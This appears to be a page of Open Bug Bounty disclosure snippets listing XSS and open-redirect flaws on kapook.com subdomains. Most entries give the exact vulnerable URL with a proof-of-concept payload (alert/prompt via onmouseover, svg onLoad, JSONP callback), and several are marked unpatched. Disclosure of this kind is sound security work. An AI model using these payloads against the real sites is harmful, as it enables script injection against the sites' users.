nongkhai.kapook.com Cross Site Scripting vulnerability OBB-1439876

Following coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: &nbsp&nbsp&nbsp&nbsp&nbsp&nbspa. verified the vulnerability and confirmed its existence; &nbsp&nbsp&nbsp&nbsp&nbsp&nbspb. notified the website operator about its existence...

money.kapook.com XSS vulnerability

Open Bug Bounty ID: OBB-563809 Description| Value ---|--- Affected Website:| money.kapook.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

kapook.com XSS vulnerability

Vulnerable URL: https://www.kapook.com/webout.php?url=xss%22%20style=%22font-size:999900%;%20tops:%20150px;%20left:%20-100px;%20position:%20absoluter;%22%20onmouseover=alert/openbugbounty/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 11.01.2018 Vulnerability type:|...

instagram.kapook.com XSS vulnerability

Vulnerable URL: https://instagram.kapook.com/webout.php?url=%22/%3E%3CsvG%20onLoad=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

songkhla.kapook.com. XSS vulnerability

Vulnerable URL:...

api.addtokapook.kapook.com XSS vulnerability

Vulnerable URL: http://api.addtokapook.kapook.com/testjson.php?jsoncallback=prompt/OPENBUGBOUNTY/...

signup-demo.kapook.com Open Redirect vulnerability

Vulnerable URL: http://signup-demo.kapook.com/connect/kapook/?apikey=APIKEY=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

kapook.com XSS vulnerability

Vulnerable URL: http://www.kapook.com/msn/htmltool/image.php?CurrentPath=../images/backgrounds/source/matrix='"= Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 22:57 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...